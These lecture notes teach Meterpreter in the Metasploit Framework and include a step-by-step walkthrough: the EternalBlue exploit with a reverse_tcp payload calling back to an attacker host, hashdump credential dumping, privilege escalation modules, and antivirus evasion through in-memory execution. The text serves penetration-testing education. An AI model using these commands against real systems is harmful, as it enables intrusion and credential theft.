Dr. Ritika Ladha

Lecture 11: Cyber Security

- Meterpreter
- Example for using Meterpreter Payload

Meterpreter is a powerful and versatile payload in the Metasploit Framework, designed to provide an interactive command-and-control interface for attackers once they have successfully exploited a target system. It is part of the broader category of payloads that Metasploit uses to perform post-exploitation tasks. Here's a detailed introduction to Meterpreter:

What is Meterpreter?

Meterpreter is an advanced, dynamic payload that provides a powerful and flexible shell for interacting with compromised systems. Unlike traditional payloads that offer static command-line interfaces or basic functionality, Meterpreter is designed to be highly modular and extendable.

Key Features of Meterpreter

1. Dynamic Payload:

- On-the-Fly Modules: Meterpreter allows you to load additional modules on-the-fly without needing to re-exploit the target. These modules can provide new capabilities or enhance existing ones.

- Scriptable: You can run scripts directly within the Meterpreter session to automate tasks.

2. Stealth and Evasion:

- In-Memory Execution: Meterpreter runs in memory, which helps avoid detection by traditional antivirus and endpoint protection tools that might scan the file system.

- Encryption: It can encrypt communications between the attacker and the target to make traffic harder to detect and analyze.

3. Powerful Commands:

- System Interaction: Provides commands for interacting with the target system's file system, processes, network connections, and more.

- Session Management: Supports various types of sessions, including reverse and bind connections.

4. Modular Architecture:

- Extended Functionality: Meterpreter can dynamically load modules to extend its capabilities, such as privilege escalation, data collection, and persistence.

Dr. Ritika Ladha

Meterpreter Commands and Modules

Here’s an overview of some of the common commands and modules available in Meterpreter:

Basic Commands

1. `sysinfo`: Displays system information about the target machine.

   ```bash
   meterpreter > sysinfo
   ```

2. `shell`: Drops into a standard command shell on the target system.

   ```bash
   meterpreter > shell
   ```

3. `ps`: Lists running processes on the target system.

   ```bash
   meterpreter > ps
   ```

4. `getuid`: Displays the user ID of the account under which Meterpreter is running.

   ```bash
   meterpreter > getuid
   ```

5. `ls`: Lists files and directories in the current working directory.

   ```bash
   meterpreter > ls
   ```

6. `download`: Downloads a file from the target system to the attacker's system.

   ```bash
   meterpreter > download <file_path>
   ```

7. `upload`: Uploads a file from the attacker’s system to the target system.

   ```bash
   meterpreter > upload <file_path>
   ```

8. `kill`: Terminates a process on the target system.

```bash
meterpreter > kill <pid>
```

Advanced Modules

1. `post/windows/gather/credentials/hashdump`: Dumps password hashes from the target system.

```bash
meterpreter > use post/windows/gather/credentials/hashdump
meterpreter > run
```

2. `post/multi/recon/local_exploit_suggester`: Suggests local exploits based on the target system's configuration.

```bash
meterpreter > use post/multi/recon/local_exploit_suggester
meterpreter > run
```

3. `post/windows/manage/privilege_escalation`: Attempts to escalate privileges on the target system.

```bash
meterpreter > use post/windows/manage/privilege_escalation
meterpreter > run
```

Getting Started with Meterpreter

1. Setup and Exploitation:

- Start Metasploit Console:

```bash
msfconsole
```

- Select Exploit:

```bash
use exploit/windows/smb/ms17_010_eternalblue
```

- Select Payload:

```bash
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
```

- Run the Exploit:

```bash
exploit
```

2. Interact with Meterpreter Session:

- Once the exploit is successful, you will get a Meterpreter session. To interact with it:

```bash
sessions -i <session_id>
```

3. Using Commands:

- Within the Meterpreter session, use the available commands to interact with and control the target system.

Summary

Meterpreter is a powerful, dynamic payload in Metasploit that provides extensive capabilities for post-exploitation. It allows attackers to interact with compromised systems, extend functionality, and avoid detection through in-memory operations and encrypted communications. Its modular design and rich set of commands make it a versatile tool for penetration testers and security professionals.

Note: Using Meterpreter or any exploitation tools should only be done with explicit permission on systems you own or have permission to test. Unauthorized use is illegal and unethical. Meterpreter is a powerful and versatile payload in the Metasploit Framework, designed to provide an interactive command-and-control interface for attackers once they have successfully exploited a target system. It is part of the broader category of payloads that Metasploit uses to perform post-exploitation tasks.